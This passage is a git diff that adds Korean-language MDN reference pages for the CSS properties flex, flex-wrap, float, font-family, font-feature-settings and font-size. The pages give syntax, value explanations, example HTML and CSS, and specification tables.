flex-item 요소들이 내부 로직에 의해 분할되어 여러 행에 걸쳐서 배치됩니다. nowrap 속성과 마찬가지로 요소가 배치되는 시작점은 {{cssxref("flex-direction")}} 에 의해 결정됩니다. 일반적으로 위에서 아래로 쌓이는 순서입니다.
+
wrap-reverse
+
wrap 속성값과 동일하지만, 요소가 나열되는 시작점과 끝점의 기준이 반대로 배치됩니다.
+
+

Formal syntax

+
+
+ +
{{csssyntax}}
+ +

Examples

+ +

HTML

+ +
+
<h4>This is an example for flex-wrap:wrap </h4>
+<div class="content">
+  <div class="red">1</div>
+  <div class="green">2</div>
+  <div class="blue">3</div>
+</div>
+<h4>This is an example for flex-wrap:nowrap </h4>
+<div class="content1">
+  <div class="red">1</div>
+  <div class="green">2</div>
+  <div class="blue">3</div>
+</div>
+<h4>This is an example for flex-wrap:wrap-reverse </h4>
+<div class="content2">
+  <div class="red">1</div>
+  <div class="green">2</div>
+  <div class="blue">3</div>
+</div>
+
+ +

CSS

+ +
/* Common Styles */
+.content,
+.content1,
+.content2 {
+    color: #fff;
+    font: 100 24px/100px sans-serif;
+    height: 150px;
+    text-align: center;
+}
+
+.content div,
+.content1 div,
+.content2 div {
+    height: 50%;
+    width: 50%;
+}
+.red {
+    background: orangered;
+}
+.green {
+    background: yellowgreen;
+}
+.blue {
+    background: steelblue;
+}
+
+/* Flexbox Styles */
+.content {
+    display: flex;
+    flex-wrap: wrap;
+}
+.content1 {
+    display: flex;
+    flex-wrap: nowrap;
+}
+.content2 {
+    display: flex;
+    flex-wrap: wrap-reverse;
+}
+
+
+
+ +

Results

+ +

{{ EmbedLiveSample('Examples', '700px', '700px', '', 'Web/CSS/flex-wrap') }}

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Flexbox', '#flex-wrap-property', 'flex-wrap') }}{{ Spec2('CSS3 Flexbox') }} 
+ +

{{cssinfo}}

+ +

Browser compatibility

+ + + +

{{Compat("css.properties.flex-wrap")}}

+ +

See also

+ + diff --git a/files/ko/web/css/flex/index.html b/files/ko/web/css/flex/index.html new file mode 100644 index 0000000000..d7bd9f9d3d --- /dev/null +++ b/files/ko/web/css/flex/index.html @@ -0,0 +1,267 @@ +--- +title: flex +slug: Web/CSS/flex +tags: + - CSS + - CSS Flexible Boxes + - CSS Property + - Reference +translation_of: Web/CSS/flex +--- +
{{CSSRef}}
+ +

flex CSS 속성은 하나의 플렉스 아이템이 자신의 컨테이너가 차지하는 공간에 맞추기 위해 크기를 키우거나 줄이는 방법을 설정하는 속성입니다. flex는 {{cssxref("flex-grow")}}, {{cssxref("flex-shrink")}}, {{cssxref("flex-basis")}}의 단축 속성입니다.

+ +
{{EmbedInteractiveExample("pages/css/flex.html")}}
+ + + +

대부분의 경우, flex의 값에는 auto, initial, none이나 단위 없는 양의 수를 사용해야 합니다. 각 값의 적용 효과를 보려면 아래 플렉스 컨테이너의 크기를 조절해보세요.

+ +
+ + + + +

{{EmbedLiveSample("flex", 1200, 370, "", "", "example-outcome-frame")}}

+ +

기본적으로 플렉스 아이템은 콘텐츠의 최소 너비 미만으로 줄어들지 않습니다. {{cssxref("min-width")}}나 {{cssxref("min-height")}} 값을 지정해 바꿀 수 있습니다.

+
+ +

구문

+ +
/* Keyword values */
+flex: auto;
+flex: initial;
+flex: none;
+
+/* One value, unitless number: flex-grow */
+flex: 2;
+
+/* One value, length or percentage: flex-basis */
+flex: 10em;
+flex: 30%;
+
+/* Two values: flex-grow | flex-basis */
+flex: 1 30px;
+
+/* Two values: flex-grow | flex-shrink */
+flex: 2 2;
+
+/* Three values: flex-grow | flex-shrink | flex-basis */
+flex: 2 2 10%;
+
+/* Global values */
+flex: inherit;
+flex: initial;
+flex: unset;
+ +

flex 속성은 한 개에서 세 개의 값을 사용해 지정할 수 있습니다.

+ +
    +
  • 값이 한 개일 때, 그 값은 다음 중 하나여야 합니다. + +
      +
    • {{cssxref("<number>")}}를 지정하면 <flex-grow>입니다.
    • +
    • {{cssxref("<length>")}} 또는 {{cssxref("<percentage>")}}를 지정하면 <flex-basis>입니다.
    • +
    • none, auto, initial 중 하나를 지정할 수 있습니다.
    • +
    +
  • +
  • 값이 두 개일때, 첫 번째 값은 {{cssxref("<number>")}}여야 하며 <flex-grow>가 됩니다. 두 번째 값은 다음 중 하나여야 합니다. +
      +
    • {{cssxref("<number>")}}를 지정하면 <flex-shrink>입니다.
    • +
    • {{cssxref("<length>")}}, {{cssxref("<percentage>")}}, 또는 auto를 지정하면 <flex-basis>입니다.
    • +
    +
  • +
  • 값이 세 개일 때는 다음 순서를 따라야 합니다. +
      +
    1. <flex-grow>에 사용할 {{cssxref("<number>")}}
    2. +
    3. <flex-shrink>에 사용할 {{cssxref("<number>")}}
    4. +
    5. <flex-basis>에 사용할 {{cssxref("<length>")}}, {{cssxref("<percentage>")}}, 또는 auto
    6. +
    +
  • +
+ +

+ +
+
initial
+
아이템 크기가 각각의 widthheight 속성에 따라 정해집니다. 플렉스 컨테이너의 크기를 넘지 않기 위해 최소 크기로 줄어들 수는 있지만, 남은 공간을 채우려 늘어나지는 않습니다. flex: 0 1 auto와 동일합니다.
+
auto
+
아이템 크기가 각각의 widthheight 속성에 따라 정해집니다. 플렉스 컨테이너의 크기를 넘지 않기 위해 최소 크기로 줄어들 수 있으며, 남은 공간을 채우기 위해 늘어날 수도 있습니다. flex: 1 1 auto와 동일합니다.
+
none
+
아이템 크기가 각각의 widthheight 속성에 따라 정해지며, 컨테이너의 크기에 관계 없이 변하지 않습니다. flex: 0 0 auto와 동일합니다.
+
<'flex-grow'>
+
플렉스 아이템의 {{cssxref("flex-grow")}}를 지정합니다. 음수 값은 유효하지 않습니다. 생략 시 기본값은 0입니다.
+
<'flex-shrink'>
+
플렉스 아이템의 {{cssxref("flex-shrink")}}를 지정합니다. 음수 값은 유효하지 않습니다. 생략 시 기본값은 1입니다.
+
<'flex-basis'>
+
플렉스 아이템의 {{cssxref("flex-basis")}}를 지정합니다. 0을 지정하려면 <flex-grow> 또는 <flex-shrink>로 읽히지 않도록 단위를 붙여야 합니다. 생략 시 기본값은 auto입니다.
+
+ +
+

한 개 또는 두 개의 단위 없는 숫자 값을 사용할 때, <flex-basis>의 값은 auto가 아니라 0이 됩니다. 더 자세한 정보는 플렉시블 박스 레이아웃 모듈 초안에서 확인할 수 있습니다.

+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +
#flex-container {
+  display: flex;
+  flex-direction: row;
+}
+
+#flex-container > .flex-item {
+  flex: auto;
+}
+
+#flex-container > .raw-item {
+  width: 5rem;
+}
+
+ +
<div id="flex-container">
+  <div class="flex-item" id="flex">Flex box (click to toggle raw box)</div>
+  <div class="raw-item" id="raw">Raw box</div>
+</div>
+
+ + + +

결과

+ +

{{EmbedLiveSample('예제','100%','60')}}

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Flexbox', '#flex-property', 'flex')}}{{Spec2('CSS3 Flexbox')}}Initial definition
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.flex")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/float/index.html b/files/ko/web/css/float/index.html new file mode 100644 index 0000000000..149f9e39a5 --- /dev/null +++ b/files/ko/web/css/float/index.html @@ -0,0 +1,215 @@ +--- +title: float +slug: Web/CSS/float +tags: + - CSS + - CSS Positioning + - CSS Property + - Reference +translation_of: Web/CSS/float +--- +
{{CSSRef}}
+ +

CSS 속성(property) float 은 한 요소(element)가 보통 흐름(normal flow)으로부터 빠져 텍스트 및 인라인(inline) 요소가 그 주위를 감싸는 자기 컨테이너의 좌우측을 따라 배치되어야 함을 지정합니다.

+ +
{{EmbedInteractiveExample("pages/css/float.html")}}
+ + + +

부동(floating) 요소 는 float 의 계산값(computed value)이 none이 아닌 요소입니다.

+ +

{{cssinfo}}

+ +

float 은 블록 레이아웃의 사용을 뜻하기 때문에, 일부 경우에 {{cssxref("display")}} 값의 계산값을 수정합니다:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
지정값(Specified value)계산값
inlineblock
inline-blockblock
inline-tabletable
table-rowblock
table-row-groupblock
table-columnblock
table-column-groupblock
table-cellblock
table-captionblock
table-header-groupblock
table-footer-groupblock
flexflex, 다만 float 은 이러한 요소에 효과가 없음
inline-flexinline-flex, 다만 float 은 이러한 요소에 효과가 없음
그외변화없음
+ +
주의: JavaScript에서 이 속성을 {{domxref("element.style")}} 객체의 멤버로서 참조한다면, 당신은 cssFloat으로 철자를 써야 합니다. 또한 Internet Explorer 8 이전 버전에서는 styleFloat으로 썼음을 주의하세요. 이는 DOM 멤버의 이름은 dash(-)로 구분된 CSS 이름의 카멜케이스(camel-case) 명이다는 규칙의 예외(이고 "class"는 "className"으로 <label>의 "for"는 "htmlFor"로 이스케이프할 필요와 같이 "float"이 JavaScript에서 예약어란 사실 때문)입니다.
+ +

구문

+ +
/* 키워드 값 */
+float: left;
+float: right;
+float: none;
+float: inline-start;
+float: inline-end;
+
+/* 전역 값 */
+float: inherit;
+float: initial;
+float: unset;
+
+ +

+ +
+
left
+
는 요소가 자신의 포함(containing) 블록의 좌측에 부동(float, 떠움직여)해야 함을 나타내는 키워드입니다.
+
right
+
는 요소가 자신의 포함 블록의 우측에 부동해야 함을 나타내는 키워드입니다.
+
none
+
는 요소가 부동하지 않아야 함을 나타내는 키워드입니다.
+
inline-start
+
는 요소가 자신의 포함 블록의 시작쪽에 부동해야 함을 나타내는 키워드입니다. 즉, ltr(left to right) 스크립트 상에서 왼쪽 그리고 rtl(right to left) 스크립트 상에서는 오른쪽.
+
inline-end
+
는 요소가 자신의 포함 블록의 끝쪽에 부동해야 함을 나타내는 키워드입니다. 즉, ltr 스크립트 상에서 오른쪽 그리고 rtl 스크립트 상에서는 왼쪽.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

CSS

+ +
div { border: solid red;  max-width: 70ex; }
+h4  { float: left;  margin: 0; }
+ +

HTML

+ +
<div>
+  <h4>HELLO!</h4>
+  This is some text. This is some text. This is some text.
+  This is some text. This is some text. This is some text.
+  This is some text. This is some text. This is some text.
+  This is some text. This is some text. This is some text.
+</div>
+ +

{{EmbedLiveSample('예제')}}

+ +

float이 위치 지정되는 법

+ +

위에서 말한 바와 같이, 요소가 부동되면 문서의 보통 흐름에서 빠집니다. 부동된 요소는 포함 박스나 다른 부동된 요소의 가장자리(edge)에 닿을 때까지 좌나 우로 이동됩니다.

+ +

아래 이미지에는, 빨간 사각형이 세 개 있습니다. 둘은 좌에 부동되고 하나는 우에 부동됩니다. "왼쪽" 두 번째 빨간 사각형은 첫 번째 사각형 오른쪽에 놓임을 주의하세요. 추가 사각형은 그들이 포함 박스를 채울 때까지 계속해서 오른쪽으로 쌓입니다. 그 후엔 다음 줄로 넘어갑니다(wrap).

+ +

+ +

float 지우기

+ +

위 예제에서, 부동된 요소는 안에 텍스트가 부동된 블록보다 세로가 더 짧습니다. 그러나, 텍스트가 모든 부동 요소 하단 아래로 넘어갈 만큼 길지 않다면, 예상치 못한 결과를 볼 수 있습니다. 예를 들어, 위 단락(paragraph)이 오직 "Lorem ipsum dolor sit amet,"만 읽고 "Floats Example" 머릿글(heading)처럼 같은 스타일의 다른 머릿글이 이어졌다면, 두 번째 머릿글은 빨간 박스 사이에 보입니다. 아마도, 우리는 다음 머릿글이 완전히 왼쪽으로 정렬되기를 원합니다. 이를 달성하기 위해, 우리는 float을 지워야(clear) 합니다.

+ +

이 예제에서 float을 지우는 가장 간단한 방법은 우리가 왼쪽으로 정렬되는 지 확인하고 싶은 새 머릿글에 {{Cssxref("clear")}} 속성을 추가하는 것입니다:

+ +
h2.secondHeading { clear: both; }
+
+ +

그러나, 이 방법은 우리가 머릿글이 가로로 옆에 계속 보이기를 원하는 같은 블록 형식 문맥(block formatting context) 내에 다른 요소가 없을 때만 동작합니다. 우리 h2 좌우로 부동되는 사이드바(sidebar)인 형제(sibling)가 있다면, clear 사용은 강제로 머릿글이 두 사이드바 아래로 나타나게 하고 이는 아마 우리가 원하는 게 아닙니다.

+ +

그들 아래 요소의 float을 지우는 게 선택사항이 아니라면, 다른 방법(approach)은 부동 요소가 담긴 컨테이너의 블록 형식 문맥을 제한하는 겁니다. 다시 위 예제를 참조하면, 빨간 박스 셋은 모두 p 요소 내에 있는 걸로 보입니다. 우리는 박스를 포함하도록 늘어나지만, 그 하단 밖(밑)으로 사라지지 않게 hidden 혹은 auto 로 p의 {{Cssxref("overflow")}} 속성을 설정할 수 있습니다:

+ +
p.withRedBoxes { overflow: hidden; height: auto; }
+
+ +
주의: overflow 를 scroll 로 설정하면 부동된 모든 자식(child) 요소도 포함합니다. 하지만 스크롤바가 콘텐츠의 높이에 상관없이 보입니다. 그 컨테이너가 콘텐츠를 수용하기 위해 늘어야(grow) 함을 나타내는 기본(default)임에도 불구하고, 여기에서 우리는 height 를 auto 로 설정하고 있습니다.
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
명세상태설명
{{SpecName('CSS Logical Properties', '#float-clear', 'float and clear')}}{{Spec2('CSS Logical Properties')}}inline-start 및 inline-end 값이 추가됨.
{{SpecName('CSS3 Box', '#float', 'float')}}{{Spec2('CSS3 Box')}}많은 새 값이, 아직 모두 분명히 정의되지 않음. 새 기능과 관련 없는 행동의 차이는 모두 의도치 않은 걸로 예상됩니다. 그러므로 보고해 주세요.
{{SpecName('CSS2.1', 'visuren.html#float-position', 'float')}}{{Spec2('CSS2.1')}}변화 없음
{{SpecName('CSS1', '#float', 'float')}}{{Spec2('CSS1')}}초기 정의
+ +

브라우저 호환성

+ +
{{Compat("css.properties.float")}}
+ +

같이 보기

+ + diff --git a/files/ko/web/css/font-family/index.html b/files/ko/web/css/font-family/index.html new file mode 100644 index 0000000000..2653a7e6fc --- /dev/null +++ b/files/ko/web/css/font-family/index.html @@ -0,0 +1,177 @@ +--- +title: font-family +slug: Web/CSS/font-family +tags: + - CSS + - CSS Fonts + - CSS Property + - Reference +translation_of: Web/CSS/font-family +--- +
{{CSSRef}}
+ +

CSS font-family 속성은 선택된 요소에 우선 순위가 지정된 font family 이름과 generic family 이름을  지정할 수 있게 해줍니다. 

+ +

{{EmbedInteractiveExample("pages/css/font-family.html")}}

+ +

값은 콤마로 구분하여 대체가 될 수 있음을 나타냅니다. 브라우저는 폰트 목록에서 컴퓨터에 설치되어 있거나 {{cssxref("@font-face")}} 규칙을 이용하여 다운로드 받을 수 있는 폰트 중 가장 첫번째 폰트를 선택할 것입니다.

+ +

웹 제작자는 font-family 목록에 최소 한 개의 generic family를 추가해야 하는데, 시스템이나 {{cssxref("@font-face")}} 규칙을 이용 해 다운로드 받은 폰트 중에 특정 폰트가 있다는 것을 보장할 수 없기 때문입니다. generic family는 브라우저가 대체할 수 있는 폰트가 필요한 경우 선택할 수 있게 해줍니다. 

+ +

font-size를 설정하거나 다른 폰트 관련 속성들을 한꺼번에 지정하는 경우 {{cssxref("font")}}가 단축형으로 자주 사용됩니다.

+ +

구문

+ +
/* A font family name and a generic family name */
+font-family: Gill Sans Extrabold, sans-serif;
+font-family: "Goudy Bookletter 1911", sans-serif;
+
+/* A generic family name only */
+font-family: serif;
+font-family: sans-serif;
+font-family: monospace;
+font-family: cursive;
+font-family: fantasy;
+font-family: system-ui;
+
+/* Global values */
+font-family: inherit;
+font-family: initial;
+font-family: unset;
+
+ +

The font-family property lists one or more font families, separated by commas. Each font family is specified as either a {{anch("family-name", "<family-name>")}} or a {{anch("generic-name", "<generic-name>")}} value.

+ +

The example below lists two font families, the first with a <family-name> and the second with a <generic-name>:

+ +
font-family: Gill Sans Extrabold, sans-serif;
+
+ +

+ +
+
<family-name>
+
The name of a font family. For example, "Times" and "Helvetica" are font families. Font family names containing whitespace should be quoted.
+
<generic-name>
+
+

Generic font families are a fallback mechanism, a means of preserving some of the style sheet author's intent when none of the specified fonts are available. Generic family names are keywords and must not be quoted. A generic font family should be the last item in the list of font family names. The following keywords are defined:

+ +
+
serif
+
Glyphs have finishing strokes, flared or tapering ends, or have actual serifed endings.
+ E.g. Lucida Bright, Lucida Fax, Palatino, "Palatino Linotype", Palladio, "URW Palladio", serif.
+
sans-serif
+
Glyphs have stroke endings that are plain.
+ E.g. "Open Sans", "Fira Sans", "Lucida Sans", "Lucida Sans Unicode", "Trebuchet MS", "Liberation Sans", "Nimbus Sans L", sans-serif.
+
monospace
+
All glyphs have the same fixed width.
+ E.g. "Fira Mono", "DejaVu Sans Mono", Menlo, Consolas, "Liberation Mono", Monaco, "Lucida Console", monospace.
+
cursive
+
Glyphs in cursive fonts generally have either joining strokes or other cursive characteristics beyond those of italic typefaces. The glyphs are partially or completely connected, and the result looks more like handwritten pen or brush writing than printed letterwork.
+ E.g. "Brush Script MT", "Brush Script Std", "Lucida Calligraphy", "Lucida Handwriting", "Apple Chancery", cursive.
+
fantasy
+
Fantasy fonts are primarily decorative fonts that contain playful representations of characters.
+ E.g. Papyrus, Herculanum, Party LET, Curlz MT, Harrington, fantasy.
+
system-ui
+
Glyphs are taken from the default user interface font on a given platform. Because typographic traditions vary widely across the world, this generic is provided for typefaces that don't map cleanly into the other generics.
+
+
+
+ +

유효한 폰트 패밀리 이름

+ +

Font family names must either be given quoted as strings, or unquoted as a sequence of one or more identifiers. This means that punctuation characters and digits at the start of each token must be escaped in unquoted font family names.

+ +

For example, the following declarations are valid:

+ +
font-family: Gill Sans Extrabold, sans-serif;
+font-family: "Goudy Bookletter 1911", sans-serif;
+ +

The following declarations are invalid:

+ +
font-family: Goudy Bookletter 1911, sans-serif;
+font-family: Red/Black, sans-serif;
+font-family: "Lucida" Grande, sans-serif;
+font-family: Ahem!, sans-serif;
+font-family: test@foo, sans-serif;
+font-family: #POUND, sans-serif;
+font-family: Hawaii 5-0, sans-serif;
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

Some common font families

+ +
.serif {
+  font-family: Times, Times New Roman, Georgia, serif;
+}
+
+.sansserif {
+  font-family: Verdana, Arial, Helvetica, sans-serif;
+}
+
+.monospace {
+  font-family: Lucida Console, Courier, monospace;
+}
+
+.cursive {
+  font-family: cursive;
+}
+
+.fantasy {
+  font-family: fantasy;
+}
+
+ + + +

{{ EmbedLiveSample('Some_common_font_families','600','120') }}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS4 Fonts', '#generic-font-families', 'generic font families')}}{{Spec2('CSS4 Fonts')}}Adds new generic font families, specifically: system-uiemojimath, and fangsong.
{{SpecName('CSS3 Fonts', '#font-family-prop', 'font-family')}}{{Spec2('CSS3 Fonts')}}No significant change
{{SpecName('CSS2.1', 'fonts.html#propdef-font-family', 'font-family')}}{{Spec2('CSS2.1')}}No significant change
{{SpecName('CSS1', '#font-family', 'font-family')}}{{Spec2('CSS1')}}Initial definition
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ +

{{Compat("css.properties.font-family")}}

diff --git a/files/ko/web/css/font-feature-settings/index.html b/files/ko/web/css/font-feature-settings/index.html new file mode 100644 index 0000000000..ad3bcb430b --- /dev/null +++ b/files/ko/web/css/font-feature-settings/index.html @@ -0,0 +1,128 @@ +--- +title: font-feature-settings +slug: Web/CSS/font-feature-settings +translation_of: Web/CSS/font-feature-settings +--- +
{{CSSRef}}
+ +

font-feature-settings CSS 속성은 오픈타입 폰트의 다양한 오픈타입 피처를 설정합니다.

+ +
{{EmbedInteractiveExample("pages/css/font-feature-settings.html")}}
+ + + +

문법

+ +
/* 기본값 사용 */
+font-feature-settings: normal;
+
+/* 오픈타입 피처 태그에 대해 값 설정 */
+font-feature-settings: "smcp";
+font-feature-settings: "smcp" on;
+font-feature-settings: "swsh" 2;
+font-feature-settings: "smcp", "swsh" 2;
+
+/* 전역 값 사용 */
+font-feature-settings: inherit;
+font-feature-settings: initial;
+font-feature-settings: unset;
+ +

가능하다면 단축 속성인 {{cssxref("font-variant")}} 속성을 사용하거나, 각각의 피처와 연관된 {{cssxref("font-variant-ligatures")}}, {{cssxref("font-variant-caps")}}, {{cssxref("font-variant-east-asian")}}, {{cssxref("font-variant-alternates")}}, {{cssxref("font-variant-numeric")}}, {{cssxref("font-variant-position")}} 등을 사용하는 것이 font-feature-settings를 직접 사용하는 것에 비해 더 효율적이고, 예측 가능하게 동작하며 이해하기도 쉽습니다.

+ +

이는 font-feature-settings는 원래 작은 대문자(Small caps)와 같이 접근할 수 있는 다른 방법이 없는 오픈타입 피처를 제어하기 위해 만들어진 저수준의 기능이기 때문입니다.

+ +

+ +
+
normal
+
기본값을 이용하여 텍스트를 표시합니다.
+
<feature-tag-value>
+
텍스트를 렌더링할 때, 오픈타입 피처를 활성화하거나 비활성화하기 위해 피처 태그 목록을 렌더링 엔진에 전달합니다. 피처 태그는 4개의 ASCII 문자로 이루어진 {{cssxref("<string>")}}이어야 합니다. 만약 태그가 네 글자보다 짧거나, 유니코드 U+20U+7E 범위 바깥에 있는 문자를 포함한다면 속성 전체가 무효처리됩니다.
+ 값은 양의 정수 값을 가집니다. 각각 10과 같은 의미를 가지는 키워드 on 과 off도 사용할 수 있습니다. 아무런 값이 설정되지 않았다면 기본값은 1입니다. stylistic alternates와 같이 Boolean 타입이 아닌 오픈타입 피처의 경우, 값은 선택되어야 하는 글리프(글자)를 의미합니다. Boolean 타입인 경우에는 스위치라고 생각하시면 됩니다.
+
+
+ +

Formal definition

+ +

{{cssinfo}}

+ +

Formal syntax

+ +
{{csssyntax}}
+ +

예시

+ +

다양한 오픈타입 피처 활성화

+ +
/* 작은 대문자(small-caps) 대체 글리프를 사용합니다. */
+.smallcaps { font-feature-settings: "smcp" on; }
+
+/* 대문자와 소문자를 모두 작은 대문자로 변환합니다.(문장부호도 영향을 받습니다.)*/
+.allsmallcaps { font-feature-settings: "c2sc", "smcp"; }
+
+/* 영문 대문자 "O"와 구분하기 위해 대각선이 그려진 숫자 0을 사용합니다. */
+.nicezero { font-feature-settings: "zero"; }
+
+/* '역사적인' 형태를 사용하기 위해 'hist' 피처를 활성화합니다. */
+.hist { font-feature-settings: "hist"; }
+
+/* 표준합자(common ligatures)를 비활성화 합니다. 기본값은 활성 상태입니다. */
+.noligs { font-feature-settings: "liga" 0; }
+
+/* 고정폭 숫자(tabular figures)를 사용합니다. */
+td.tabular { font-feature-settings: "tnum"; }
+
+/* 자동 분수 입력을 활성화합니다. */
+.fractions { font-feature-settings: "frac"; }
+
+/* 가능한 swash 문자 중 두번째를 사용합니다. */
+.swash { font-feature-settings: "swsh" 2; }
+
+/* 스타일 세트(stylistic set) 7번을 사용합니다. */
+.fancystyle {
+  font-family: Gabriola; /* available on Windows 7, and on Mac OS */
+  font-feature-settings: "ss07";
+}
+
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Fonts', '#propdef-font-feature-settings', 'font-feature-settings')}}{{Spec2('CSS3 Fonts')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("css.properties.font-feature-settings")}}

+ +

See also

+ +
    +
  • {{cssxref("@font-face/font-display", "font-display")}}
  • +
  • {{cssxref("@font-face/font-family", "font-family")}}
  • +
  • {{cssxref("@font-face/font-stretch", "font-stretch")}}
  • +
  • {{cssxref("@font-face/font-style", "font-style")}}
  • +
  • {{cssxref("@font-face/font-weight", "font-weight")}}
  • +
  • {{cssxref("@font-face/font-variant", "font-variant")}}
  • +
  • {{cssxref("@font-face/font-variation-settings", "font-variation-settings")}}
  • +
  • {{cssxref("@font-face/src", "src")}}
  • +
  • {{cssxref("@font-face/unicode-range", "unicode-range")}}
  • +
  • OpenType Feature Tags list
  • +
  • Using the whole font
    + (Note: The -moz syntax is the old one. On Gecko, use the -ms syntax but with -moz.)
  • +
diff --git a/files/ko/web/css/font-size/index.html b/files/ko/web/css/font-size/index.html new file mode 100644 index 0000000000..9f2a57e17c --- /dev/null +++ b/files/ko/web/css/font-size/index.html @@ -0,0 +1,220 @@ +--- +title: font-size +slug: Web/CSS/font-size +translation_of: Web/CSS/font-size +--- +
{{CSSRef}}
+ +

font-size CSS 속성은 폰트의 크기(대문자 "M"의 크기)를 지정합니다. 폰트 크기를 바꾸면 em 과 ex {{cssxref("<length>")}} 단위로 계산된 다른 항목들의 크기를 바꿉니다.

+ +

{{EmbedInteractiveExample("pages/css/font-size.html")}}

+ +

구문

+ +
/* <absolute-size> 값 */
+font-size: xx-small;
+font-size: x-small;
+font-size: small;
+font-size: medium;
+font-size: large;
+font-size: x-large;
+font-size: xx-large;
+
+/* <relative-size> 값 */
+font-size: larger;
+font-size: smaller;
+
+/* <length> 값 */
+font-size: 12px;
+font-size: 0.8em;
+
+/* <percentage> 값 */
+font-size: 80%;
+
+/* 전역 값 */
+font-size: inherit;
+font-size: initial;
+font-size: unset;
+
+ +

The font-size property is specified in one of the following ways:

+ +
    +
  • As one of the absolute-size or relative-size keywords
  • +
  • As a <length> or a <percentage>, relative to the parent element's font size
  • +
+ +

+ +
+
xx-small, x-small, small, medium, large, x-large, xx-large
+
키워드는 사용자의 기본 폰트(medium) 크기에 따라 정해집니다. <font size="1"> 부터 <font size="7"> 와 같은 HTML 과 유사하게 표현됩니다. 기본 유저 폰트 크기는 <font size="3">입니다.
+
larger, smaller
+
키워드에 따라 부모 엘리먼트의 폰트 크기에서 일정 비율로 늘이거나 줄입니다.
+
{{cssxref("<length>")}}
+
+
+

{{cssxref("<length>")}}는 항상 양수입니다. 만약 단위가 em 이나 ex 로 표현되어 있으면, 부모 엘리먼트의 크기에 상대적으로 정해집니다. 예를 들어, 0.5em 은 부모 엘리먼트 폰트 크기의 절반이 현재 엘리먼트의 폰트 크기입니다. 만약 단위가 rem으로 지정되어 있다면, 폰트 크기는 html (루트) 엘리먼트의 폰트 크기에 따라 상대적으로 정해집니다.

+
+
{{cssxref("<percentage>")}}
+
양수인 {{cssxref("<percentage>")}} 는, 부모 엘리먼트의 폰트 크기의 비율입니다.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

접근법

+ +

폰트 크기는 키워드나 pixel과 em처럼 수치 단위처럼 여러가지 방법으로 지정할 수 있습니다. 각 웹 페이지에 맞는 적합한 방법을 선택해야 합니다.

+ +

키워드

+ +

키워드는 웹의 폰트 크기를 정하는 좋은 방법입니다. 키워드로 엘리먼트의 폰트 크기를 정하면 웹 페이지의 모든 페이지의 폰트 크기가 상대적으로 지정되어 쉽게 전체 페이지의 폰트 크기를 늘이거나 줄일 수 있습니다.

+ +

픽셀

+ +

픽셀 단위의 정확함이 필요하면, 폰트 크기를 픽셀 단위로 (px) 설정하는 것이 좋은 선택입니다. px 값은 정적이고 운영체제 독립적이며 브라우저 독립적인 방법으로 브라우저에 글자들이 정확히 몇 픽셀 높이로 렌더링 되어야 하는지를 정할 수 있습니다다. 브라우저가 비슷한 효과를 내기 위해 각기 다른 방법을 사용하기 때문에 렌더링된 결과가 브라우저마다 아주 조금씩 달라질 수 있습니다.

+ +

폰트 크기 설정을 조합해서 쓸 수 있습니다다. 예를 들어, 부모 엘리먼트의 크기를 16px 로 정하고 자식 엘리먼트의 크기를 larger로 설정하면, 자식엘리먼트의 폰트 크기는 페이지에 있는 부모 엘리먼트보다 크게 보입니다.

+ +
참고: 폰트 크기를 픽셀로 정하는 것은 사용자가 폰트 크기를 브라우저를 이용해 바꿀 수 없기 때문에 접근성이 떨어집니다. (예를 들어 시각에 제약이 있는 사용자가 폰트 크기를 웹 디자이너가 설정한 크기보다 더 크게 설정하려고 할 수 있습니다.) 그러므로, 접근성 높은 페이지를 만들고자 한다면, 폰트 크기를 픽셀 단위로 설정하는 것을 지양해야 합니다.
+ +

em

+ +

폰트 크기를 설정하는 또 하나의 방법은 em 값으로 설정하는 것입니다. em 값은 동적입니다. font-size 속성을 정의할 때, em 은 부모 엘리먼트의 폰트 크기와 같습니다. 만약, 전체 페이지에서 폰트 크기를 정의하지 않으면 높은 가능성으로 브라우저 기본인 16px로 지정됩니다. 따라서 기본 값일때 1em = 16px 이고 2em = 32px 를 나타냅니다. 만약 body 엘리먼트의 font-size 를 20px로 정한 경우, 1em = 20px 이고 2em = 40px 입니다. 2 라는 값은 현재 크기의 배수를 나타냄을 주의해야 합니다.

+ +

em 표현을 pixel 값으로 표현해야 한다면 이 공식을 사용할 수 있습니다.

+ +
em = 구하고자 하는 엘리먼트의 pixel 값 / 부모 엘리먼트의 font-size pixel 값
+ +

예를 들어 페이지의 폰트 크기가 1em이고, 브라우저 기본 값이 1em = 16px로 정의되어 있다고 가정해보겠습니다. 만약 12px 폰트 크기로 지정하고 싶다면 0.75em(12/16 = 0.75) 로 정해야 합니다. 비슷하게, 10px로 정하고 싶다면 0.625em(10/16 = 0.625) 로 정합니다. 22px 은 1.375em 으로 표현합니다.

+ +

문서 전체의 폰트 크기를 정할때 많이 쓰이는 방법은 body 태그의 폰트 크기를 10px 과 같은 62.5% (기본값 16px의 62.5%) 나 0.625em 으로 정하는 것 입니다. 이제 다른 엘리먼트의 폰트 크기를 계산하기 쉬운 px 을 10으로 나눈 em 단위를 이용해서 설정할 수 있습니다. 이 경우 6px = 0.6em 로, 8px = 0.8em, 12px = 1.2em, 14px = 1.4em, 16px = 1.6em 로 표현합니다.

+ +
body {
+  font-size: 62.5%; /* font-size 1em = 10px 브라우저의 기본 설정 */
+}
+span {
+  font-size: 1.6em; /* 1.6em = 16px */
+}
+ +

em 은 자동적으로 폰트의 크기를 적용해주기 때문에 CSS 에서 유용한 단위입니다.

+ +

